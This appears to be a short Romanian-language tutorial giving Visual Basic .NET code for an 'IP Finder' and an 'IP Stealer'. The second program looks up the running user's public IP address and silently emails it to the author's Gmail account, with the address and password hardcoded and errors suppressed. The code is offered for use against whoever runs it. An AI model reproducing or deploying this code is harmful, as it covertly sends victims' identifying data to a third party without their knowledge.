IP Finder: Va arata intr-un textbox ip-ul ( Credits: 541 6339) Adaugati:1 textbox1 button Dati double-click pe button1 si adaugati: Dim stats As String Dim webclient As New System.Net.WebClient stats = System.Text.Encoding.ASCII.GetString(( _ webclient.DownloadData("http://whatismyip.com/automation/n09230945.asp"))) TextBox1.Text = stats IP Stealer: Dupa ce arata ip-ul va trimite pe adresa voastra de gmail Adaugati: 1 textbox 1 button dati double-click pe button1 si stergeti tot.dupa ce ati sters tot adaugati acest cod: Imports System.Net.MailImports System.NetPublic Class Form1 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Dim stats As String Dim webclient As New System.Net.WebClient stats = System.Text.Encoding.ASCII.GetString(( _ webclient.DownloadData("http://whatismyip.com/automation/n09230945.asp"))) TextBox1.Text = stats Dim mail As New MailMessage() Dim SmtpServer As New SmtpClient SmtpServer.Credentials = New Net.NetworkCredential("Your Mail@gmail.com", "Your gmail account password") SmtpServer.Port = "587" SmtpServer.Host = "smtp.gmail.com" SmtpServer.EnableSsl = True mail.To.Add("Your Mail@gmail.com") mail.From = New MailAddress("YourMail") mail.Subject = "IP Stealer" mail.Body = (TextBox1.Text) Try SmtpServer.Send(mail) Catch ex As Exception End Try End SubEnd Class editati astfel: Your Mail: Adresa de gmail catre care sa se trimita IP-ul Your account password: Parola contului de gmail Bafta